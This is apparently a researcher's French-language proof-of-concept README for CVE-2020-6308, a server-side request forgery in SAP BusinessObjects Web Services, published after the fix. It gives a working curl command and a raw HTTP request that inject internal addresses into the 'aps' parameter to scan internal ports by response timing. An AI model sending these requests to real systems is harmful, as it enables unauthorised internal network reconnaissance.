initroot/cve-2020-6308-pocPoC CVE-2020-6308
La plateforme SAP BusinessObjects Business Intelligence (Web Services) versions - 410, 420, 430, permet à un attaquant non authentifié d'injecter des valeurs arbitraires en tant que paramètres CMS pour effectuer des recherches sur le réseau interne, autrement inaccessible depuis l'extérieur. Suivez-moi sur Twitter ou envoyez-moi un message privé pour des questions : https://twitter.com/initroott
J'ai signalé le problème à SAP en mai 2020 et le correctif a été publié en octobre 2020. Vous pouvez développer votre propre PoC plus en profondeur, mais je vais fournir un peu de contexte. La fonction CMS ne valide pas l'adresse fournie. Si le pare-feu de l'hôte n'est pas correctement configuré, il est possible de faire facilement du fingerprinting de ports ou du réseau interne en se basant sur les réponses reçues aux requêtes. Je vais montrer dans l'exemple ci-dessous comment vous pouvez voir les ports ouverts en utilisant une requête CuRL. Dans l'exemple ci-dessous, j'ai un hôte SAP (192.168.0.191), une machine attaquante (192.168.0.149) et un autre appareil, par exemple un routeur interne (192.168.0.1).
Notre hôte SAP a les ports suivants ouverts :
Et notre routeur interne a les ports suivants ouverts : 53,80,34573
Testons donc cela, nous pouvons identifier les ports ouverts simplement en fonction des temps de réponse des requêtes. Exemples ci-dessous :
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
Test des payloads suivants :
Vous pouvez voir ici les résultats des tests de temps pour les ports fermés, en moyenne autour de 5 ms.
Vous pouvez voir ici les résultats des tests de temps pour les ports ouverts/filtrés, bien plus élevés.
Maintenant, ce qui suit n'est pas idéal, car différents routages, certains pare-feu peuvent impacter les résultats. Cependant, cela devrait vous donner une idée de par où commencer pour construire un meilleur exploit… Ce qui précède peut être ajusté en créant une ligne de base puis en travaillant à partir de là. Je vous conseille vivement de regarder la mise en place d'un listener, puis de voir ce qui se passe.
Ce qui suit montre à quoi ressemblera la requête dans Burp, le paramètre APS étant le point d'injection vulnérable. Un PoC plus simple consisterait à injecter simplement une valeur de jeton canary et attendre le déclenchement.
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp